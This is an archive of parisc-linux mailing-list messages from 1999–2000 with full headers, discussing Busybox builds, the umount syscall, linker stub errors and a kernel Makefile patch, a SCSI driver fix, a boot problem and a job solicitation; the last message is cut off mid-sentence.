Original-Received: (qmail 11206 invoked by uid 15267); 23 Jun 2000 01:27:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11199 invoked from network); 23 Jun 2000 01:27:55 -0000
Original-Received: from rokslava.transcept.com (208.151.20.130)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 01:27:55 -0000
Original-Received: from sunapee.transcept.com by rokslava.transcept.com
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 23 Jun 2000 01:11:22 UT
Original-Received: from sunapee.transcept.com (sunapee.transcept.com [129.86.50.245])
	by sunapee.transcept.com (8.9.3/8.9.3) with ESMTP id VAA05332;
	Thu, 22 Jun 2000 21:26:35 -0400
X-Sender: proskin@sunapee.transcept.com
In-Reply-To: <20000623004822.949A537E22@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7459

Matt,

Just a postscriptum to save you some time.
When compiling Busybox disable

BB_INSMOD (not needed)
BB_FEATURE_MOUNT_LOOP (not compatible with linux-2.4.x)
BB_UMOUNT (uses umount syscall, can be fixed)

Everything else compiles and links. Have fun.

Pavel


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where is umount syscall?
Date: Thu, 22 Jun 2000 19:35:38 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20000623013538.6E47D37E22@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618972 1125 80.91.229.3 (22 Nov 2014 01:16:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Jun 22 19:32:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA12775
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 19:32:59 -0600
Original-Received: (qmail 15066 invoked by uid 15267); 23 Jun 2000 01:34:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15058 invoked from network); 23 Jun 2000 01:34:08 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 01:34:08 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP id 4772C25D
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 19:34:01 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 6E47D37E22
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 19:35:38 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7460

Forwarded as willy can't send email to the list right now.

MJT
------- Forwarded Message

Date: Thu, 22 Jun 2000 19:57:37 -0400
From: willy@thepuffingroup.com
To: Pavel Roskin <proski@gnu.org>
Cc: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] Where is umount syscall?
In-Reply-To: <Pine.LNX.4.21.0006222049530.16942-100000@sunapee.transcept.com>; 
from Pavel Roskin on Thu, Jun 22, 2000 at 08:54:08PM -0400

On Thu, Jun 22, 2000 at 08:54:08PM -0400, Pavel Roskin wrote:
> Hello!
> 
> linux-2.3/include/asm-parisc/unistd.h doesn't define __NR_umount for some
> reason. Other architectures define it.

we only have umount2 (the form which takes a flag to indicate whether to
force the umount or not).

- -- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.

------- End forwarded message -----



From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: New busybox available was Re: [parisc-linux] Busybox 0.45 released
Date: Thu, 22 Jun 2000 20:14:11 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20000623021411.73E7637E38@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0006222122450.31601-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618972 1131 80.91.229.3 (22 Nov 2014 01:16:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Pavel Roskin <proski@gnu.org>
Original-X-From: taggart@carmen.fc.hp.com  Thu Jun 22 20:11:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA13187
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 20:11:33 -0600
Original-Received: (qmail 10299 invoked by uid 15267); 23 Jun 2000 02:12:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10285 invoked from network); 23 Jun 2000 02:12:42 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 02:12:42 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id 7CAAF2EA; Thu, 22 Jun 2000 20:12:33 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 73E7637E38; Thu, 22 Jun 2000 20:14:11 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Pavel Roskin <proski@gnu.org> 
   of "Thu, 22 Jun 2000 21:26:35 EDT." <Pine.LNX.4.21.0006222122450.31601-100000@sunapee.transcept.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7461


Pavel Roskin writes...

> Matt,
> 
> Just a postscriptum to save you some time.
> When compiling Busybox disable
> 
> BB_INSMOD (not needed)
> BB_FEATURE_MOUNT_LOOP (not compatible with linux-2.4.x)
> BB_UMOUNT (uses umount syscall, can be fixed)

I changed umount.c to use sys/umount.h instead of using it's own version.

I placed a tarball of busybox-0.45 in,

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/busybox-20000622.tgz

I also created a smaller nfsroot using busybox instead of all the big 
versions. It contains the dev, base-files, sash, and busybox tarballs from the 
pehc:.../binaries/userspace directory. It lives at,

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-small-latest.t
gz

Both were tested briefly. Please report any problems to the list.

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Document Priority?
Date: Mon, 22 Mar 1999 19:59:20 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <m10PAr3-0007U2C@the-village.bc.nu>
References: <199903221856.KAA04931@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618972 1136 80.91.229.3 (22 Nov 2014 01:16:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:12 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Mar 22 14:05:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA07799
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 14:05:31 -0500
Original-Received: (qmail 29475 invoked by uid 15267); 22 Mar 1999 19:04:31 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 29468 invoked from network); 22 Mar 1999 19:04:31 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 19:04:31 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id TAA08431 for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 19:05:21 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10PAr3-0007U2C; Mon, 22 Mar 99 19:59 GMT
In-Reply-To: <199903221856.KAA04931@meow.sr.hp.com> from "Bill Katz" at Mar 22, 99 10:56:37 am
Xref: news.gmane.org gmane.linux.ports.parisc:7462

The TLB miss stuff would be a good early one, that and the basic I/O.
The normal approach ports have taken is to get the basic kernel core
up and then the network card. That lets you use an NFS root - and means you
don't turn your disk to sillyputty while debugging the vm bugs 

> 	What output format should I generate? PostScript? PDF? PCL?

I can still work nroff ;)


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Fri, 23 Jun 2000 11:45:16 +1000 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006231116510.24137-100000@front.linuxcare.com.au>
References: <E135Dev-0007ho-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618973 1140 80.91.229.3 (22 Nov 2014 01:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Jun 22 21:09:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA13523
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 21:09:14 -0600
Original-Received: (qmail 17266 invoked by uid 15267); 23 Jun 2000 03:10:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17247 invoked from network); 23 Jun 2000 03:10:22 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 03:10:22 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA03558;
	Fri, 23 Jun 2000 11:45:16 +1000
In-Reply-To: <E135Dev-0007ho-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7463

Hi Paul,
   Thanks for testing this out for me.  Did you have any success stories
to report with the latest binutils patch?  eg. Does tar still run?

On Thu, 22 Jun 2000, Paul Bame wrote:

> Well the good news is I can (with some trouble) link a native
> binutils.  The bad news is that the kernel won't link.  To wit -
> 
> hppa1.1-linux-ld: fs/fs.o: cannot reach stub 080e89b4_00000000_printk
> hppa1.1-linux-ld: fs/fs.o: cannot handle relocation R_PARISC_PCREL17F for printk at 0x3fc98 in .text
> 
> This follows a 'make clean'.  I only re-built the new binutils and not
> gcc, if that matters.

No, gcc doesn't need to be rebuilt.  The problem here (I think - I'm going
to build a kernel in a the moment) is the silly use of "ld -r" in the
kernel build process.  This has the unfortunate effect of concatenating
all the .text sections, making some too large for a branch to reach its
stub section.  Of course this same thing can happen with very large object
files.

One fairly simple work-around is to use -ffunction-sections when compiling,
as then you need a truely enormous function (> 4*2**(17-1) bytes long)
before you'll get "cannot reach stub"  Also, gcc has support for handling
even these enormous functions.

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Busybox 0.45 released
Date: Fri, 23 Jun 2000 12:14:40 +1000 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006231211550.24137-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0006222110110.13718-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618973 1144 80.91.229.3 (22 Nov 2014 01:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Pavel Roskin <proski@gnu.org>
Original-X-From: alan@linuxcare.com.au  Thu Jun 22 21:09:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA13608
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 21:09:39 -0600
Original-Received: (qmail 17508 invoked by uid 15267); 23 Jun 2000 03:10:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17493 invoked from network); 23 Jun 2000 03:10:47 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 03:10:47 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA04339;
	Fri, 23 Jun 2000 12:14:40 +1000
In-Reply-To: <Pine.LNX.4.21.0006222110110.13718-100000@sunapee.transcept.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7464

On Thu, 22 Jun 2000, Pavel Roskin wrote:

> I've been there already. What really needs to be there is libc with all
> headers. It is very hard to compile libc. Its makefiles do really crazy
> things. It even tried to commit something to CVS.

configure --without-cvs to stop the commit attempts.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Fri, 23 Jun 2000 20:34:43 +1000 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006232007520.26260-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0006231116510.24137-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618973 1148 80.91.229.3 (22 Nov 2014 01:16:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Jun 23 04:33:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA17159
	for <parisc-linux@puffin.external.hp.com>; Fri, 23 Jun 2000 04:33:53 -0600
Original-Received: (qmail 12264 invoked by uid 15267); 23 Jun 2000 10:35:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12239 invoked from network); 23 Jun 2000 10:35:02 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 10:35:02 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA28580;
	Fri, 23 Jun 2000 20:34:43 +1000
In-Reply-To: <Pine.LNX.4.21.0006231116510.24137-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7465

Hi Paul,
   I nearly forgot to follow up with the results of my kernel build.  It
was "ld -r" that caused the failure, and the following patch to the kernel
Makefile cures the build problem for me.  Not tested as I don't have any
hp hardware.

Regards, Alan
-- 
Linuxcare.  Support for the Revolution.

Index: Makefile
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/Makefile,v
retrieving revision 1.17
diff -u -p -r1.17 Makefile
--- Makefile	2000/05/31 18:50:18	1.17
+++ Makefile	2000/06/23 10:11:16
@@ -95,6 +95,11 @@ AFLAGS := -D__ASSEMBLY__ $(CPPFLAGS)
 # use '-fno-strict-aliasing', but only if the compiler can take it
 CFLAGS += $(shell if $(CC) -fno-strict-aliasing -S -o /dev/null -xc /dev/null >/dev/null 2>&1; then echo "-fno-strict-aliasing"; fi)
 
+# Same for -ffunction-sections
+# This is needed for the new binutils as otherwise "ld -r" results in .text
+# sections that are too big (> 0x40000) for branches to reach stubs.
+CFLAGS += $(shell if $(CC) -ffunction-sections -S -o /dev/null -xc /dev/null >/dev/null 2>&1; then echo "-ffunction-sections"; fi)
+
 export	CPPFLAGS CFLAGS AFLAGS
 
 #


From - Thu Nov 08 21:12:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Huria Raja" <huria@thermeoneurope.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Fri, 23 Jun 2000 11:30:51 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <LOBBKHEGGMMDDIHAMMIPKEGGCMAA.huria@thermeoneurope.com>
Reply-To: <huria@thermeoneurope.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618974 1150 80.91.229.3 (22 Nov 2014 01:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:14 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: huria@thermeoneurope.com  Fri Jun 23 04:56:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA17497
	for <parisc-linux@puffin.external.hp.com>; Fri, 23 Jun 2000 04:56:48 -0600
Original-Received: (qmail 25841 invoked by uid 15267); 23 Jun 2000 10:57:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25804 invoked from network); 23 Jun 2000 10:57:57 -0000
Original-Received: from ben.thermeoneurope.com (@193.132.64.89)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 10:57:57 -0000
Original-Received: from banana ([192.168.234.12]) by ben.thermeoneurope.com (8.8.8/SCO5) with SMTP id LAA27019 for <parisc-linux@thepuffingroup.com>; Fri, 23 Jun 2000 11:58:27 +0100 (BST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:7466

From: 	Robin Redmile-Gordon [mailto:rrg@thermeoneurope.com]
Sent:	22 June 2000 15:57
To:	'mwheeler@startext.co.uk'
Subject:	Linux/Unix subcontracting
Sensitivity:	Confidential

Hi,
We are looking for specialists who are interested in specific project and
task work.
We are part of a small but global organisation providing IT solutions to the
vehicle rental industry.
We have our own specialists, of course, but we prefer to use them for our
own application development rather than the implementation, setup and
troubleshooting of client systems.
What we're looking for are people who genuinely know what they are doing and
can thus work fast, efficiently and independently - not the "we do
everything (we know a man who can) merchants".

Our environment has many SCO Unix systems in place but all new development
and many of the established customers are migrating to RedHat Linux.

Examples of work required:

1. A customer need his server configured as a mail server to collect
multiple mailboxes from a remote internet server by dial-up router and allow
local PC clients to collect and send mail via the server.
2. A customer has an NT server running an Exchange Server and wishes his SCO
and Linux servers to be able to route their mail to and through the Exchange
Server.
3. A customer needs a Linux firewall behind which reside multiple networks
of PC's and servers.  A design and implementation plan is needed and
configuration of firewall and routers.
4. We require routers to be ordered on demand and configured according to
our specification, despatched direct to the customer with simple
instructions for self-installation by a novice.
5. Customer's system is experiencing slow-running, network conflicts, etc
and trouble-shooting and resolution is required in a timely and
cost-effective manner.

In all cases we would require a time estimate which would be based on an
hourly rate for the service provided.
No on-site attendance would be required.
All systems have either dial-in or Internet access.

Is this the sort of thing your company might be interested in.
If so, please submit brief details of specialist personnel -
numbers/age/experience/specialisation together with the hourly rates you
would quote us for such sub-contract work.
Sorry to be a burden but, in addition, we will need references.
We are looking for people who will be let loose directly on our client's
systems and I am sure you will appreciate our caution in such matters.

I thank you for your kind attention and look forward to hearing from you.

Regards
Robin Redmile-Gordon
Managing Director
Thermeon Europe Ltd.


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sym53c8xx.c now works with 53c875 on parisc
Date: Fri, 23 Jun 2000 12:31:15 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20000623123115.K922@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618974 1154 80.91.229.3 (22 Nov 2014 01:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Fri Jun 23 05:30:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA17881
	for <parisc-linux@puffin.external.hp.com>; Fri, 23 Jun 2000 05:30:26 -0600
Original-Received: (qmail 12284 invoked by uid 15267); 23 Jun 2000 11:31:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12256 invoked from network); 23 Jun 2000 11:31:35 -0000
Original-Received: from ppp-1-197.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.197)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 11:31:35 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 65FD2B005; Fri, 23 Jun 2000 12:31:15 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7467

Hi,
  I have fixed a couple of problems with parisc dynamic dma code so that
sym53c8xx.c now works on the 53c875 (on-board FWSCSI on my B180L).

The config options I used are:

CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
CONFIG_SCSI_NCR53C8XX_IOMAPPED=y

The main problem was that xxx_alloc_consistent() should return a
virtual address that is aligned to a power of 2 boundary equivalent
to the size requested.  We used get_vm_area() which doesn't worry about
alignment of returned areas.  I have got round this by introducing a
new get_aligned_vm_area() function in mm/vmalloc.c, but I guess that
is probably only temporary until we decide on the proper solution.
Other archs use get_free_pages and so avoid this problem.

Suggestions, anyone?

Richard


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. David Gilbert" <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting 712 to boot
Date: Fri, 23 Jun 2000 16:25:19 +0100 (BST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006231621230.12873-100000@springhead.px.uk.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618974 1155 80.91.229.3 (22 Nov 2014 01:16:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: gilbertd@treblig.org  Fri Jun 23 09:25:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA19527
	for <parisc-linux@puffin.external.hp.com>; Fri, 23 Jun 2000 09:25:18 -0600
Original-Received: (qmail 19202 invoked by uid 15267); 23 Jun 2000 15:26:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19050 invoked from network); 23 Jun 2000 15:26:14 -0000
Original-Received: from bastion.power-x.co.uk (62.232.19.201)
  by mailserv2.iuinc.com with SMTP; 23 Jun 2000 15:26:14 -0000
Original-Received: from springhead.px.uk.com (IDENT:dg@springhead.px.uk.com [172.16.18.41])
	by bastion.power-x.co.uk (8.9.3/8.9.3) with ESMTP id QAA15566
	for <parisc-linux@thepuffingroup.com>; Fri, 23 Jun 2000 16:26:05 +0100
X-Sender: dg@springhead.px.uk.com
Xref: news.gmane.org gmane.linux.ports.parisc:7468

Hi,
  I've just tried PA/Linux for the first time on a mouldy 712/100 lying
in the back of our server room.

  I'm cross building from a Linux/x86 box (RH 6.1) and followed most of
the recipe.

  I'm net booting it and the kernel loads, detects all the devices and
then stops after:

Found i82596 @0xf0107000, IRQ 535
early initialization of device eth0 is deferred
SBA at 0xfed00000

Any ideas?

Dave

/------------------------------------------------------------------\
| Dr. David Alan Gilbert | Work:dg@px.uk.com +44-161-286-2000 Ex258|
| -------- G7FHJ --------|---------------------------------------- |
| Home: dave@treblig.org            http://www.treblig.org         |
\------------------------------------------------------------------/


From - Thu Nov 08 21:12:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Recipe
Date: Mon, 26 Jun 2000 09:20:39 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0006260907340.19112-100000@mojo.calyx.net>
References: <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618975 1159 80.91.229.3 (22 Nov 2014 01:16:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Mon Jun 26 07:53:35 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA18098
	for <parisc-linux@puffin.external.hp.com>; Mon, 26 Jun 2000 07:53:35 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by palrel1.hp.com (Postfix) with SMTP id 3E21C86B
	for <parisc-linux@puffin.external.hp.com>; Mon, 26 Jun 2000 06:26:34 -0700 (PDT)
Original-Received: (qmail 9677 invoked by uid 15267); 26 Jun 2000 13:20:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9634 invoked from network); 26 Jun 2000 13:20:51 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 26 Jun 2000 13:20:51 -0000
Original-Received: (qmail 23006 invoked from network); 26 Jun 2000 09:20:39 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (x8ezh9ml9t5tv8bt7z1n@208.132.136.2)
  by mail.calyx.net with SMTP; 26 Jun 2000 09:20:39 -0400
In-Reply-To: <Pine.LNX.4.21.0006011600290.30171-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7469


A couple questions about the recipe and the status of the 
cvs sources/snapshots -- for i386, my guess is you actually
don't want to specify --host=hppa-hpux, right?  It looks like
